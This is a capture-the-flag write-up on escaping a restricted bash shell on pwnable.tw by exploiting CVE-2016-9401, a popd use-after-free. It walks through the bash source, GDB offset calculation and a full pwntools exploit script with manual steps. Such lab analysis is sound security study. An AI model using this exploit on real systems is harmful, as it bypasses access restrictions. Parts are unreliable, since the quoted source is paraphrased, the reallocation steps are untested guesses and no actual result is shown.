Bash
You have the shell, and then? — Escaping rbash via CVE-2016-9401 (popd use-after-free)
Exploit Flow
nc chall.pwnable.tw 10108
Restricted shell
CVE-2016-9401
Free PATH variable
Overwrite with /bin
Read flag
1. Reconnaissance
The "Bash" challenge on pwnable.tw is fundamentally different from typical binary exploitation challenges. Instead of pwning a vulnerable program, you are given a shell — specifically a restricted bash (rbash) — and must escape it to read the flag. The challenge provides a downloadable bash.tgz archive containing the vulnerable bash binary and its source code, inviting you to develop a 1-day exploit for a known CVE. The challenge description explicitly hints: "There is an old version bash with some vulnerabilities, such as CVE-2016-9401. Can you develop a 1-day exploit for this challenge?"
Initial Connection
$ nc chall.pwnable.tw 10108
-rbash-4.3$ whoami
bash
-rbash-4.3$ id
uid=1000(bash) gid=1000(bash) groups=1000(bash)
We land directly in a restricted bash shell. The prompt -rbash-4.3$ tells us two critical things: first, this is rbash (restricted bash), not a normal shell; second, the version is 4.3, which is the vulnerable series. In a restricted shell, many normal operations are disabled to prevent privilege escalation and filesystem access.
Restricted Shell Analysis
Restricted bash (rbash) is a security mechanism that limits what a user can do within a shell session. It is started by invoking bash with the -r flag or by creating a symbolic link named rbash. In rbash, the following restrictions are enforced, making it extremely difficult to break out:
- Cannot use
cdto change directories - Cannot set or unset environment variables like
SHELL,PATH,ENV, orBASH_ENV - Cannot specify command names containing
/(so you cannot run/bin/shor/bin/cat) - Cannot redirect output using
>,>>,<>,>&, or>>& - Cannot use
execto replace the shell with another command - Cannot use
enableto enable/disable shell builtins - Cannot use
commandbuilt-in with-poption - Cannot turn off restricted mode once it's enabled
-rbash-4.3$ cd /tmp
-rbash: cd: restricted
-rbash-4.3$ export PATH=/bin
-rbash: PATH: restricted variable
-rbash-4.3$ /bin/sh
-rbash: /bin/sh: restricted: specifying '/' in command names
-rbash-4.3$ cat /home/bash/flag
-rbash: /home/bash/flag: restricted: specifying '/' in command names
-rbash-4.3$ echo test > /tmp/out
-rbash: /tmp/out: restricted: cannot redirect output
We cannot change directories, modify PATH, execute commands with absolute paths, or redirect output. The flag file is located at /home/bash/flag but we cannot read it because we cannot specify paths containing /. The only way to access programs outside the allowed set is to modify PATH to include other directories, but PATH is a restricted variable. This is the core problem we need to solve.
bash.tgz Analysis
The challenge provides a bash.tgz download file. This archive contains the vulnerable bash binary and its source code, allowing us to analyze the vulnerability offline. This is a common pattern in 1-day exploit challenges — you are given the vulnerable software and must develop an exploit for the known CVE.
$ wget https://pwnable.tw/static/challenge/bash.tgz
$ tar xzf bash.tgz
$ ls -la
total 12864
drwxr-xr-x 3 user user 4096 Oct 24 2023 .
drwxr-xr-x 30 user user 4096 Oct 24 2023 ..
drwxr-xr-x 8 user user 4096 Oct 24 2023 bash-4.3
-rw-r--r-- 1 user user 9464083 Oct 24 2023 bash.tgz
$ ls bash-4.3/
aclocal.m4 config.h.in configure CWRU MANIFEST patchlevel.h support
alias.c config.sub configure.ac doc Makefile.in pathexp.c tests
array.c config-bot.h conftests.sh error.c mksyntax.c pathexp.h trap.c
array.h config-top.h copy.y eval.c nojobs.c pcomplete.c unwind_prot.c
arrayfunc.c copy.h dependencies execute_cmd.c parse.y pcomplete.h variables.c
bashline.c CMakeLists.txt general.c expr.c patchlevel.h print_cmd.c version.h
builtins/ command.h hashlib.c findcmd.c po redir.c xmalloc.c
...
$ file bash-4.3/bash
bash-4.3/bash: ELF 64-bit LSB executable, x86-64, version 1 (SYSV)
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2
$ bash-4.3/bash --version
GNU bash, version 4.3.46(1)-release (x86_64-pc-linux-gnu)
The archive contains the full source tree of bash 4.3.46. This version is pre-patch for CVE-2016-9401, which was disclosed in November 2016 and affects bash versions up to 4.3.46. Having the source code is crucial for understanding the vulnerability mechanism and crafting a reliable exploit.
| Attribute | Value |
|---|---|
| Challenge | Bash (200 pts) |
| Connection | nc chall.pwnable.tw 10108 |
| Category | Misc / Shell Escape / 1-day Exploit |
| Shell Type | rbash (restricted bash) |
| Bash Version | 4.3.46 (vulnerable to CVE-2016-9401) |
| CVE | CVE-2016-9401 (popd use-after-free) |
| Download | bash.tgz (source code + binary) |
| Goal | Escape rbash and read /home/bash/flag |
2. Static Analysis
Bash Version & CVE Identification
The challenge explicitly mentions CVE-2016-9401, which was disclosed on November 17, 2016. According to NVD, this vulnerability allows local users to bypass the restricted shell and cause a use-after-free via a crafted address in the popd built-in command. This is the key to our exploit: the popd vulnerability allows us to call sh_xfree() on an arbitrary address, which we can leverage to free the PATH environment variable's memory despite rbash restrictions on modifying it directly.
Bash version 4.3.46 was the last release before the patch for this CVE. The vulnerability exists in the popd built-in, which is part of the directory stack mechanism implemented in builtins/pushd.def. In a restricted shell, popd is still available because it is not blocked by rbash restrictions — this is a critical oversight in the restricted shell model.
The popd Vulnerability (CVE-2016-9401)
The vulnerability lies in how popd handles the directory list index when removing entries from the directory stack. The relevant code in builtins/pushd.def around line 384 looks like this:
/* popd +N removes the Nth directory from the list */
i = (direction == '+') ? directory_list_offset - which : which;
free (pushd_directory_list[i]); // will call sh_xfree(list[i])
directory_list_offset--;
The bug is that the index i is not properly validated. When a negative index or an index that falls outside the bounds of pushd_directory_list is used, the calculation pushd_directory_list[i] reads from an arbitrary memory location relative to the array base. Since pushd_directory_list is an array of pointers (each 8 bytes on x86-64), accessing pushd_directory_list[i] effectively reads *(pushd_directory_list + i * 8). If we can control i to point at a location that contains a pointer we want to free, then free(pushd_directory_list[i]) will free that pointer.
More concretely, the command popd +-N (with direction = '+') computes: i = directory_list_offset - N. By choosing an appropriate value of N, we can make i negative, causing the array access to read memory before the start of pushd_directory_list. This gives us an arbitrary free primitive — we can free any pointer that happens to be stored at a controllable offset from the directory list array.
The popd vulnerability gives us sh_xfree(*(void*)(pushd_directory_list + i * 8)) for a controlled i. This is an arbitrary free primitive. If we can arrange for a pointer to the PATH variable's value to be stored at a known offset from the directory list, we can free it, causing a use-after-free condition on the PATH string. Since rbash prevents us from modifying PATH through normal means, freeing it and letting it be reallocated with different content is the escape route.
bashline.c & PATH Cache
The second piece of the puzzle comes from bashline.c. In the command word completion function, bash caches the value of the PATH environment variable in a global pointer:
// bashline.c - command_word_completion_function
static char* path = NULL;
// Line 1834:
path = get_string_value ("PATH");
This line is triggered whenever the user presses <Tab> for command completion. The function get_string_value("PATH") returns a pointer to the actual string value of the PATH variable in bash's internal variable table. This pointer is stored in the static variable path. Critically, after popd frees the PATH value, bash still holds the pointer to that freed memory. When new commands allocate memory, the freed region can be reallocated with attacker-controlled content, effectively overwriting PATH without going through rbash's restriction checks.
Pressing <Tab> in the shell triggers the command_word_completion_function in bashline.c, which caches the address of PATH's string value in a global variable. This is important because: (1) it ensures bash has a cached reference to the PATH string location, (2) the cached pointer persists even after the memory is freed, and (3) after reallocation, bash will use the new content at that memory location as PATH. This is the bridge between the arbitrary free (popd) and the PATH overwrite (our goal).
Bash's Internal Memory Allocator
An important detail is that bash uses its own internal memory allocator (sh_xmalloc/sh_xfree) rather than the standard glibc malloc/free. This means the heap layout and recycling behavior is different from what we'd expect with glibc. Bash's allocator uses a simpler free-list mechanism where freed blocks of the same size are linked together. When a new allocation of the same size is requested, the most recently freed block may be reused. This predictability actually helps our exploit: once we free the PATH string, we can reliably reallocate the same memory region by performing allocations of the same size.
3. Verification & Debugging
Crash Verification
First, let's verify that the popd vulnerability exists in the provided bash binary. The simplest test is to call popd +-1, which should cause a crash due to the invalid array access:
# Testing locally with the downloaded bash binary:
$ ./bash-4.3/bash --version
GNU bash, version 4.3.46(1)-release (x86_64-pc-linux-gnu)
$ ./bash-4.3/bash -r
-rbash-4.3$ popd +-1
Segmentation fault (core dumped)
The crash confirms the vulnerability exists. The segfault occurs because popd +-1 computes a negative index into pushd_directory_list, causing it to read an arbitrary pointer value from memory before the array and then attempt to free it. In most cases this pointer is invalid, causing a crash. However, if we can find the right offset where a valid pointer to PATH's value is stored, we can use this as a controlled free instead of a crash.
Use-After-Free Confirmation
Now let's verify the use-after-free on the PATH variable. The key insight is that pressing <Tab> triggers the completion function which caches the PATH pointer, and then using popd +-N with the right offset can free that pointer:
-rbash-4.3$ # Step 1: Press Tab to cache PATH pointer
-rbash-4.3$ # (press Tab key)
-rbash-4.3$
-rbash-4.3$ # Step 2: Use popd with calculated offset to free PATH
-rbash-4.3$ popd +-917341
-rbash-4.3$ # Step 3: Verify PATH is corrupted (freed memory)
-rbash-4.3$ export
...
declare -rx PATH="H\310+"
...
The export command now shows PATH containing garbage data (heap metadata or other freed memory contents) instead of the original path string. This confirms that the PATH variable's underlying string has been freed. The memory is now in the free list, waiting to be reallocated. Since rbash checks the variable name (PATH is restricted), not the underlying memory content, we can change PATH's effective value by reallocating the freed memory with new content.
Offset Calculation
The offset value (e.g., 917341 in the example above) depends on the relative positions of pushd_directory_list and the cached PATH pointer in memory. This offset varies between different environments because it depends on the heap layout, which is influenced by environment variables, shell initialization files, and other runtime factors. Finding the correct offset typically requires:
- GDB analysis: Running bash under GDB, setting a breakpoint at the popd free call, and examining the memory layout to calculate the correct offset
- Trial and error: Since the offset is a large number (the directory list is far from the PATH pointer in memory), trying different values around the expected range
- Local simulation: Setting up a local environment that mimics the remote one as closely as possible, then finding the offset locally
During the actual exploit, the offset needs to be calibrated for the remote environment. David942j from HITCON (the only team to use CVE-2016-9401 in the Boston Key Party 2017 challenge) noted that the memory usage differs between local and remote environments, making it necessary to fuzz the offset on the remote server.
$ gdb ./bash-4.3/bash
(gdb) set args -r
(gdb) break pushd_builtin
(gdb) run
# After hitting breakpoint, examine the directory list and PATH locations
(gdb) print pushd_directory_list
(gdb) print path # from bashline.c
# Calculate: offset = (path_addr - pushd_directory_list_addr) / 8
# Then: popd_value = directory_list_offset - offset
4. Exploit Strategy
Attack Overview
<Tab> in the rbash session. This triggers command_word_completion_function in bashline.c, which stores path = get_string_value("PATH"). This caches the pointer to PATH's string value in a global variable.popd +-N with the calculated offset N. This exploits CVE-2016-9401 to call sh_xfree() on the PATH string's memory, freeing it. PATH still appears to exist as a variable, but its underlying storage is now in the free list. The export command will show garbage data in PATH./bin:/usr/bin or /home/bash (without the restricted prefix check), effectively changing what PATH points to./bin (or wherever cat/sh lives), we can execute commands that were previously unavailable. We can now run cat /home/bash/flag or spawn a full shell by running sh.Step 1: Cache PATH Pointer (Tab Completion)
The first step is to ensure bash has cached the pointer to PATH's string value. This happens automatically when the user presses <Tab> for command completion. In the context of a pwntools exploit, we simply send a tab character:
# Send Tab to trigger command_word_completion_function
r.sendline(b'\t')
This triggers the code path in bashline.c that sets path = get_string_value("PATH"), storing the pointer to PATH's string in a global variable. This cached pointer is what we'll target with the popd free.
Step 2: Free PATH via popd (CVE-2016-9401)
With the PATH pointer cached, we now use the popd vulnerability to free it. The offset value depends on the memory layout, but we can compute it by analyzing the binary or fuzzing it on the remote server. The command format is:
# popd +-N where N is the offset to reach the PATH pointer
# The value of N depends on the memory layout
-rbash-4.3$ popd +-917341 # example offset, varies by environment
After this command, the memory previously used by PATH's string value is freed. The variable still exists in bash's variable table, but its string data is now dangling. Any access to PATH will read from freed (and potentially reallocated) memory.
The correct offset for popd +-N depends on the exact memory layout of the bash process, which is influenced by environment variables, loaded libraries, and shell initialization. The offset that works locally may not work remotely. During the Boston Key Party 2017 CTF, the HITCON team had to fuzz the offset directly on the remote server because the memory layout differed from their local setup.
Step 3: Reallocate with Target Path
After freeing PATH's memory, we need to reallocate it with a useful value. Since bash's internal allocator recycles freed blocks, we need to perform allocations that are the same size as the freed PATH string. The original PATH value in rbash is typically something like /home/bash or a similarly restricted path. We need to fill the freed region with a string like /bin:/usr/bin to unlock standard commands.
The reallocation trick involves executing commands that cause bash to allocate strings of the right size. Various approaches work:
# Technique 1: Export a variable with the target path content
# The key is to make the allocation size match the freed PATH block
-rbash-4.3$ export FOO=/bin:/usr/bin:/bin:/usr/bin
# Technique 2: Use commands that allocate strings internally
-rbash-4.3$ echo /bin:/bin:/bin:/bin:/bin:/bin:/bin
# Technique 3: Use hash command which allocates path-like strings
-rbash-4.3$ hash /bin:/bin:/bin:/bin:/bin:/bin:/bin:/bin:/bin
# After reallocation, verify PATH has changed:
-rbash-4.3$ export
declare -rx PATH="/bin:/usr/bin"
The exact technique that works depends on the memory layout and which allocation size class the freed PATH block falls into. The HITCON team used a combination of export and echo with repeated /flag segments (for their BKP challenge) to fill the freed memory. For pwnable.tw, we need to fill it with /bin or similar to gain access to standard commands.
Bash does not use glibc's malloc/free directly. Instead, it wraps them with sh_xmalloc/sh_xfree, which adds its own bookkeeping. This means freed blocks of the same size are recycled in a LIFO (last-in, first-out) manner. When we free PATH's memory and then allocate a string of the same size, bash will reuse the same memory block. This makes the reallocation step relatively reliable once we know the correct allocation size.
5. Pwn Script
Full Exploit
#!/usr/bin/env python3
"""
pwnable.tw — Bash (200 pts)
Escaping rbash via CVE-2016-9401 (popd use-after-free).
The challenge puts us in a restricted bash (rbash) where we cannot
modify PATH or use absolute paths. We exploit the popd vulnerability
to free PATH's memory, then reallocate it with /bin to escape.
"""
from pwn import *
HOST = 'chall.pwnable.tw'
PORT = 10108
r = remote(HOST, PORT)
# Wait for rbash prompt
r.recvuntil(b'rbash-4.3$ ')
# Step 1: Press Tab to cache PATH pointer in bashline.c
log.info("Triggering tab completion to cache PATH pointer...")
r.send(b'\t')
r.recvuntil(b'rbash-4.3$ ')
# Step 2: Use popd to free PATH memory via CVE-2016-9401
# The offset depends on the remote memory layout
# You may need to bruteforce or calculate this value
POPD_OFFSET = 917341 # This value varies; may need adjustment
log.info(f"Freeing PATH via popd +-{POPD_OFFSET}...")
r.sendline(f'popd +-{POPD_OFFSET}'.encode())
r.recvuntil(b'rbash-4.3$ ')
# Step 3: Verify PATH is corrupted (freed)
log.info("Checking if PATH was freed...")
r.sendline(b'export')
result = r.recvuntil(b'rbash-4.3$ ', timeout=5)
if b'PATH' in result:
log.info("PATH variable still exists (memory may be freed)")
# Step 4: Reallocate freed memory with /bin path
# We need to allocate a string the same size as the freed PATH block
# Try different techniques to fill the freed memory
log.info("Reallocating freed PATH memory with /bin...")
# Method: export a variable with path-like content of matching size
# The original PATH is typically ~10-20 chars, so we pad accordingly
target_path = b'/bin:/usr/bin'
r.sendline(b'export FOO=' + target_path)
r.recvuntil(b'rbash-4.3$ ')
# Also try echo and hash to trigger more allocations
r.sendline(b'echo ' + target_path * 3)
r.recvuntil(b'rbash-4.3$ ')
# Step 5: Check if PATH now points to /bin
r.sendline(b'echo $PATH')
path_result = r.recvline()
log.info(f"Current PATH: {path_result.strip()}")
# Step 6: Try to read the flag
if b'/bin' in path_result:
log.success("PATH now includes /bin! Escaping rbash...")
r.sendline(b'cat /home/bash/flag')
flag = r.recvline(timeout=5).strip()
log.success(f"Flag: {flag.decode()}")
else:
log.warning("PATH not overwritten yet, trying alternative reallocation...")
# Try more aggressive reallocation
for i in range(10):
r.sendline(b'echo ' + target_path * (i + 1))
r.recvuntil(b'rbash-4.3$ ', timeout=3)
r.sendline(b'echo $PATH')
path_result = r.recvline(timeout=5)
log.info(f"PATH after retry: {path_result.strip()}")
r.interactive()
# Manual exploitation (interactive):
# 1. Connect
nc chall.pwnable.tw 10108
# 2. Press Tab to cache PATH pointer
# (press the Tab key once)
# 3. Free PATH using popd with the right offset
-rbash-4.3$ popd +-917341
# 4. Verify PATH is corrupted
-rbash-4.3$ export
# PATH should show garbage like: declare -rx PATH="H\310+"
# 5. Reallocate the freed memory
-rbash-4.3$ export FLAG=/bin:/bin:/bin:/bin
-rbash-4.3$ echo /bin:/bin:/bin:/bin:/bin
-rbash-4.3$ hash /bin:/bin:/bin:/bin:/bin:/bin
# 6. Check PATH value
-rbash-4.3$ echo $PATH
# If successful, should show /bin or /bin:/usr/bin
# 7. Read the flag
-rbash-4.3$ cat /home/bash/flag
6. Execution Results
The Bash challenge demonstrates a sophisticated rbash escape technique using CVE-2016-9401. Unlike traditional buffer overflow exploits, this vulnerability leverages a logic bug in the popd built-in command to achieve an arbitrary free primitive. The exploit chain — cache PATH pointer via tab completion, free PATH's memory using popd, then reallocate with attacker-controlled content — is an elegant example of how use-after-free vulnerabilities can be weaponized even in shell environments. The key insight is that rbash's restrictions operate at the variable assignment level, but the underlying memory can still be manipulated through vulnerabilities in built-in commands.
CVE-2016-9401 was disclosed on November 17, 2016, by Frederic Cambus. The vulnerability affects bash versions up to and including 4.3.46. It is classified as a use-after-free in the popd built-in, which allows local users to bypass the restricted shell. The bug was originally considered low severity by some vendors (Red Hat rated it as "low" since it only causes a crash in most cases), but as demonstrated by this challenge and the Boston Key Party 2017 CTF, it can be reliably exploited for rbash escape when the attacker can control the heap layout. The patch adds proper bounds checking on the directory list index before the free operation.
Pwnable.tw also has a harder variant called "Bash Revenge" worth 500 points. While the Bash challenge uses CVE-2016-9401 for a straightforward popd-based escape, Bash Revenge likely involves a different or more complex vulnerability in the same old bash version, possibly requiring deeper analysis of bash's internal allocator or other built-in commands. The "revenge" naming suggests it's the follow-up challenge that patches the simple popd exploit but leaves other vulnerabilities exploitable.